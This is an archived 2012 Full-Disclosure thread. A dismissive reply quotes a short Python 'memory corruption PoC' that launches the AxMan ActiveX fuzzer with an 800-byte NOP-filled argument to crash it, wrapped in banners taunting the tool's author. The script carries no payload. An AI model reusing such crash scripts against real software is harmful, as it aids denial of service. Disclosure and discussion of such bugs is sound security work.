full-disclosure - Re: AxMan ActiveX fuzzing <== Memory Corruption PoC

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <CAEJizbYh-hUG0sH+CRkFafyryX+-3OJbcDSh4k9qCpCRwDS3HA@mail.gmail.com>
Date: Mon, 30 Jul 2012 13:13:50 +0100
From: Benji <me@...ji.com>
To: kaveh ghaemmaghami <kavehghaemmaghami@...glemail.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: AxMan ActiveX fuzzing <== Memory Corruption
	PoC

wait, this was a serious email? not like this bro, not like this.

On Sun, Jul 29, 2012 at 11:08 PM, kaveh ghaemmaghami
<kavehghaemmaghami@...glemail.com> wrote:
> I think ur on vacation now aren't u .... Plus nobody ask u to read my
> post and i am not interested about ur opinion keep it for yourself
>
> On Sat, Jul 28, 2012 at 5:21 PM, kaveh ghaemmaghami
> <kavehghaemmaghami@...glemail.com> wrote:
>> Exploit Title: AxMan ActiveX fuzzing <== Memory Corruption PoC
>> Crash : http://imageshack.us/f/217/axman.jpg/
>> Date: July 28, 2012
>> Author: coolkaveh
>> coolkaveh@...ketmail.com
>> Https://twitter.com/coolkaveh
>> Vendor Homepage: http://digitaloffense.net/tools/axman/
>> version : 1.0.0
>> Tested on: windows 7 SP1
>> ========================================================
>>                                     Crash The Exploiter
>>              Lame HD Moore fuzzer Memory Corruption
>>                                   By Awsome coolkaveh
>>
>> -------------------------------------------------------------------------------------------------------
>>
>> import os
>> import win32api
>> crash = "                  Crash The Exploiter          "
>> lame="        Lame HD Moore fuzzer Memory corruption  "
>> awsome="               By Awsome coolkaveh          "
>> print
>> print
>> print
>> print crash
>> print
>> print lame
>> print
>> print awsome
>> print
>> print
>> print
>> print
>> exploit = ("\x90" *800)
>> win32api.WinExec((r'"D:\axman-1.0.0\bin\axman.exe" %s') % exploit, 1)
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/